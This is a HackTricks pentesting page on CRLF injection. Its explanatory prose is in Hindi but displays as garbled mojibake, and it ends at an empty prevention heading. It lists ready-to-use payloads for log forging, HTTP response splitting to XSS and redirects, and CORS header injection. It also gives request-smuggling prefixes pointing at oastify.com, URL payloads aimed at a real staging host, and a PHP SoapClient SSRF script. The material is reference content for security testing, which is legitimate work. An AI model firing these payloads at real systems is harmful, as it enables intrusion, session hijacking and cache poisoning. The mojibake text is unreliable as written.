24 KiB
CRLF (%0D%0A) Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
CRLF
Carriage Return (CR) рдФрд░ Line Feed (LF), рдЬрд┐рд╕реЗ рдорд┐рд▓рд╛рдХрд░ CRLF рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЕрдиреБрдХреНрд░рдо рд╣реИрдВ рдЬреЛ рдПрдХ рдкрдВрдХреНрддрд┐ рдХреЗ рдЕрдВрдд рдпрд╛ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВред рд╡реЗрдм рд╕рд░реНрд╡рд░ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ HTTP рд╣реЗрдбрд░ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╢рд░реАрд░ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП CRLF рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рд╡рд░реНрдг HTTP/1.1 рд╕рдВрдЪрд╛рд░ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╡реЗрдм рд╕рд░реНрд╡рд░ рдкреНрд░рдХрд╛рд░реЛрдВ, рдЬреИрд╕реЗ Apache рдФрд░ Microsoft IIS, рдореЗрдВ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
CRLF Injection Vulnerability
CRLF рдЗрдВрдЬреЗрдХреНрд╢рди рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЗрдирдкреБрдЯ рдореЗрдВ CR рдФрд░ LF рд╡рд░реНрдгреЛрдВ рдХрд╛ рд╕рдореНрдорд┐рд▓рди рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рдХреНрд░рд┐рдпрд╛ рд╕рд░реНрд╡рд░, рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдпрд╣ рд╕рдордЭрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рд╕рдореНрдорд┐рд▓рд┐рдд рдЕрдиреБрдХреНрд░рдо рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрдд рдФрд░ рджреВрд╕рд░реА рдХреА рд╢реБрд░реБрдЖрдд рд╣реИред рдЬрдмрдХрд┐ рдпреЗ рд╡рд░реНрдг рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдирд╣реАрдВ рд╣реЛрддреЗ, рдЗрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╡рд┐рднрд╛рдЬрди рдФрд░ рдЕрдиреНрдп рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред
Example: CRLF Injection in a Log File
рдПрдХ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬреЛ рдПрдХ рдкреНрд░рд╢рд╛рд╕рди рдкреИрдирд▓ рдореЗрдВ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рд╛рд░реВрдк рд╣реИ: IP - Time - Visited Path
ред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦ рд╕рдХрддреА рд╣реИ:
123.123.123.123 - 08:15 - /index.php?page=home
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ CRLF рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕ рд▓реЙрдЧ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред HTTP рдЕрдиреБрд░реЛрдз рдореЗрдВ CRLF рд╡рд░реНрдгреЛрдВ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рдЖрдЙрдЯрдкреБрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд▓реЙрдЧ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреЛ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЗрдВрдЬреЗрдХреНрдЯ рдХреА рдЧрдИ рдЕрдиреБрдХреНрд░рдо рд▓реЙрдЧ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдмрджрд▓ рд╕рдХрддреА рд╣реИ:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
рдпрд╣рд╛рдБ, %0d
рдФрд░ %0a
CR рдФрд░ LF рдХреЗ URL-рдХреЛрдбрд┐рдд рд░реВрдкреЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред рд╣рдорд▓реЗ рдХреЗ рдмрд╛рдж, рд▓реЙрдЧ рднреНрд░рд╛рдордХ рд░реВрдк рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░реЗрдЧрд╛:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with %0d%0a
as a single parameter, while the restrictedaction
parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: /index.php?page=home&restrictedaction=edit
HTTP Response Splitting
Description
HTTP Response Splitting рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рд╣рдорд▓рд╛рд╡рд░ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд░рдЪрдирд╛ рд╣реЗрдбрд░ рдХреЛ рд╢рд░реАрд░ рд╕реЗ рдЕрд▓рдЧ рдХрд░рддреА рд╣реИ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, Carriage Return (CR) рдХреЗ рдмрд╛рдж Line Feed (LF), рдЬрд┐рд╕реЗ рд╕рд╛рдореВрд╣рд┐рдХ рд░реВрдк рд╕реЗ CRLF рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ CRLF рдЕрдиреБрдХреНрд░рдо рдбрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдмрд╛рдж рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рд╣реЗрд░рдлреЗрд░ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Cross-site Scripting (XSS)ред
XSS through HTTP Response Splitting
- рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдПрдХ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕реЗ:
X-Custom-Header: UserInput
- рдПрдкреНрд▓рд┐рдХреЗрд╢рди
UserInput
рдХреЗ рд▓рд┐рдП рдорд╛рди рдХреЛ рдПрдХ рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░, рдЬреИрд╕реЗ "user_input" рд╕реЗ рд▓рд╛рддрд╛ рд╣реИред рдЙрдЪрд┐рдд рдЗрдирдкреБрдЯ рдорд╛рдиреНрдпрддрд╛ рдФрд░ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреА рдХрдореА рд╡рд╛рд▓реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдкреЗрд▓реЛрдб рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ CRLF рдЕрдиреБрдХреНрд░рдо рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдЙрд╕рдХреЗ рдмрд╛рдж рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рд╣реЛрддреА рд╣реИред - рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХреА рдЧрдИ 'user_input' рдХреЗ рд╕рд╛рде рдПрдХ URL рддреИрдпрд╛рд░ рдХрд░рддрд╛ рд╣реИ:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- рдЗрд╕ URL рдореЗрдВ,
%0d%0a%0d%0a
CRLFCRLF рдХрд╛ URL-encoded рд░реВрдк рд╣реИред рдпрд╣ рд╕рд░реНрд╡рд░ рдХреЛ CRLF рдЕрдиреБрдХреНрд░рдо рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдмрд╛рдж рдХреЗ рднрд╛рдЧ рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирддрд╛ рд╣реИред
- рд╕рд░реНрд╡рд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдВрд░рдЪрдирд╛ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрд╣рд╛рдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
An example of HTTP Response Splitting leading to Redirect
Browser to:
/%0d%0aLocation:%20http://myweb.com
рдФрд░ рд╕рд░реНрд╡рд░ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ:
Location: http://myweb.com
рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг: (рд╕реЗ https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
In URL Path
рдЖрдк URL рдкрде рдХреЗ рдЕрдВрджрд░ рдкреЗрд▓реЛрдб рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдВ):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Check more examples in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
HTTP Header Injection
HTTP Header Injection, рдЕрдХреНрд╕рд░ CRLF (Carriage Return and Line Feed) рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ HTTP рд╣реЗрдбрд░ рдбрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ XSS (Cross-Site Scripting) рдлрд╝рд┐рд▓реНрдЯрд░ рдпрд╛ SOP (Same-Origin Policy) рдЬреИрд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░реЛрдВ рдХреЛ рдХрдордЬреЛрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛, рдЬреИрд╕реЗ CSRF рдЯреЛрдХрди, рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдпрд╛ рдХреБрдХреА рдкреНрд▓рд╛рдВрдЯрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░реЛрдВ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
Exploiting CORS via HTTP Header Injection
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ HTTP рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ CORS (Cross-Origin Resource Sharing) рдХреЛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ, SOP рджреНрд╡рд╛рд░рд╛ рд▓рдЧрд╛рдП рдЧрдП рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рдЙрд▓реНрд▓рдВрдШрди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдореВрд▓ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯреЛрдВ рдХреЛ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред
SSRF and HTTP Request Injection via CRLF
CRLF рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирдИ HTTP рдЕрдиреБрд░реЛрдз рдмрдирд╛рдиреЗ рдФрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг PHP рдХреЗ SoapClient
рдХреНрд▓рд╛рд╕ рдореЗрдВ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ user_agent
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рднреАрддрд░ред рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░ рдФрд░ рдмреЙрдбреА рд╕рд╛рдордЧреНрд░реА рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдПрдХ рдирдпрд╛ HTTP рдЕрдиреБрд░реЛрдз рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдиреАрдЪреЗ рдЗрд╕ рд╢реЛрд╖рдг рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ PHP рдЙрджрд╛рд╣рд░рдг рд╣реИ:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Header Injection to Request Smuggling
рдЗрд╕ рддрдХрдиреАрдХ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╕реНрд░реЛрдд рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ.
рдЖрдк рдЖрд╡рд╢реНрдпрдХ рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдмреИрдХ-рдПрдВрдб рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЦреБрд▓рд╛ рд░рдЦреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рдмрд╛рдж:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Afterward, a second request can be specified. This scenario typically involves HTTP request smuggling, рдПрдХ рддрдХрдиреАрдХ рдЬрд╣рд╛рдВ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдмрд╛рдж рдЬреЛрдбрд╝реЗ рдЧрдП рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░ рдпрд╛ рдмреЙрдбреА рддрддреНрд╡ рд╡рд┐рднрд┐рдиреНрди рд╕реБрд░рдХреНрд╖рд╛ рд╢реЛрд╖рдгреЛрдВ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред
Exploitation:
- Malicious Prefix Injection: рдпрд╣ рд╡рд┐рдзрд┐ рдЕрдЧрд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрд░реЛрдз рдпрд╛ рдПрдХ рд╡реЗрдм рдХреИрд╢ рдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрд╕рд░реНрдЧ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Crafting a Prefix for Response Queue Poisoning: рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдПрдХ рдЙрдкрд╕рд░реНрдЧ рдмрдирд╛рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ, рдЬрдм рдкреАрдЫреЗ рдХреЗ рдмреЗрдХрд╛рд░ рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдкреВрд░реНрдг рджреВрд╕рд░рд╛ рдЕрдиреБрд░реЛрдз рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрддрд╛рд░ рд╡рд┐рд╖рд╛рдХреНрддрддрд╛ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache Injection
Memcache рдПрдХ рдХреА-рдорд╛рди рднрдВрдбрд╛рд░ рд╣реИ рдЬреЛ рдПрдХ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
рдкреВрд░реНрдг рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдкрдврд╝реЗрдВ рдореВрд▓ рд▓реЗрдЦ
рдпрджрд┐ рдПрдХ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо HTTP рдЕрдиреБрд░реЛрдз рд╕реЗ рдбреЗрдЯрд╛ рд▓реЗ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рд╛рдл рдХрд┐рдП рдмрд┐рдирд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рддрд╛рдХрд┐ memcache рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирдП memcache рдЖрджреЗрд╢реЛрдВ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореВрд▓ рдЦреЛрдЬреА рдЧрдИ рднреЗрджреНрдпрддрд╛ рдореЗрдВ, рдХреИрд╢ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП IP рдФрд░ рдкреЛрд░реНрдЯ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдиреЗ memcache рдЖрджреЗрд╢реЛрдВ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ рдЬреЛ рдХреИрд╢ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░рддреЗ рдереЗ рддрд╛рдХрд┐ рдкреАрдбрд╝рд┐рддреЛрдВ рдХреЗ рд╡рд┐рд╡рд░рдг (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╢рд╛рдорд┐рд▓) рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рднреЗрдЬреЗ рдЬрд╛ рд╕рдХреЗрдВ:
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдиреЗ рдпрд╣ рднреА рдЦреЛрдЬрд╛ рдХрд┐ рд╡реЗ memcache рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрд╕рдВрдХреНрд░реЛрдирд╛рдЗрдЬрд╝ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ IP рдФрд░ рдкреЛрд░реНрдЯ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рднреЗрдЬреЗ рдЬрд╛ рд╕рдХреЗрдВ рдЬрд┐рдирдХреЗ рдИрдореЗрд▓ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЬреНрдЮрд╛рдд рдирд╣реАрдВ рдереЗ:
How to Prevent CRLF / HTTP Header Injections in Web Applications
